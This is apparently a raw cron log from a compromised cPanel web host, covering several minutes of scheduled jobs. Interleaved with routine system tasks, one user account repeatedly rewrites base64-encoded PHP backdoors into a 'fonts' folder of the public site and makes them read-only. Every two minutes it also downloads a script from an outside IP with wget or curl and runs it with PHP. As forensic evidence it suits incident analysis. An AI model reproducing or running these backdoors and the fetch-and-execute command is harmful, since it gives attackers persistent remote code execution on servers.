Sep  8 12:27:01 ip-184-168-122-23 CROND[19362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:28:01 ip-184-168-122-23 CROND[19607]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:28:01 ip-184-168-122-23 CROND[19608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:28:01 ip-184-168-122-23 CROND[19611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:28:01 ip-184-168-122-23 CROND[19610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:28:01 ip-184-168-122-23 CROND[19612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:29:02 ip-184-168-122-23 CROND[19757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:29:02 ip-184-168-122-23 CROND[19759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:29:02 ip-184-168-122-23 CROND[19760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:29:02 ip-184-168-122-23 CROND[19761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:30:02 ip-184-168-122-23 CROND[19915]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:30:02 ip-184-168-122-23 CROND[19912]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:30:02 ip-184-168-122-23 CROND[19913]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:30:02 ip-184-168-122-23 CROND[19909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:30:02 ip-184-168-122-23 CROND[19910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:30:02 ip-184-168-122-23 CROND[19911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:30:02 ip-184-168-122-23 CROND[19918]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 12:30:02 ip-184-168-122-23 CROND[19917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:30:02 ip-184-168-122-23 CROND[19914]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 12:31:01 ip-184-168-122-23 CROND[20106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:31:01 ip-184-168-122-23 CROND[20110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:31:01 ip-184-168-122-23 CROND[20109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:31:01 ip-184-168-122-23 CROND[20108]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 12:31:01 ip-184-168-122-23 CROND[20111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:32:01 ip-184-168-122-23 CROND[20203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:32:01 ip-184-168-122-23 CROND[20204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:32:01 ip-184-168-122-23 CROND[20206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:32:01 ip-184-168-122-23 CROND[20207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:32:01 ip-184-168-122-23 CROND[20205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:33:01 ip-184-168-122-23 CROND[20321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:33:01 ip-184-168-122-23 CROND[20323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:33:01 ip-184-168-122-23 CROND[20324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:33:01 ip-184-168-122-23 CROND[20325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:34:01 ip-184-168-122-23 CROND[20502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:34:01 ip-184-168-122-23 CROND[20506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:34:01 ip-184-168-122-23 CROND[20505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:34:01 ip-184-168-122-23 CROND[20504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:34:01 ip-184-168-122-23 CROND[20507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:35:01 ip-184-168-122-23 CROND[20622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:35:01 ip-184-168-122-23 CROND[20624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:35:01 ip-184-168-122-23 CROND[20626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:35:01 ip-184-168-122-23 CROND[20629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:35:01 ip-184-168-122-23 CROND[20625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:35:01 ip-184-168-122-23 CROND[20630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:35:01 ip-184-168-122-23 CROND[20628]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 12:35:01 ip-184-168-122-23 CROND[20631]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 12:36:02 ip-184-168-122-23 CROND[20760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:36:02 ip-184-168-122-23 CROND[20764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:36:02 ip-184-168-122-23 CROND[20763]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:36:02 ip-184-168-122-23 CROND[20762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:36:02 ip-184-168-122-23 CROND[20765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:37:01 ip-184-168-122-23 CROND[20879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:37:01 ip-184-168-122-23 CROND[20881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:37:01 ip-184-168-122-23 CROND[20882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:37:01 ip-184-168-122-23 CROND[20884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:38:01 ip-184-168-122-23 CROND[20969]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:38:01 ip-184-168-122-23 CROND[20971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:38:01 ip-184-168-122-23 CROND[20974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:38:01 ip-184-168-122-23 CROND[20977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:38:01 ip-184-168-122-23 CROND[20976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:39:01 ip-184-168-122-23 CROND[21159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:39:01 ip-184-168-122-23 CROND[21163]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 12:39:01 ip-184-168-122-23 CROND[21161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
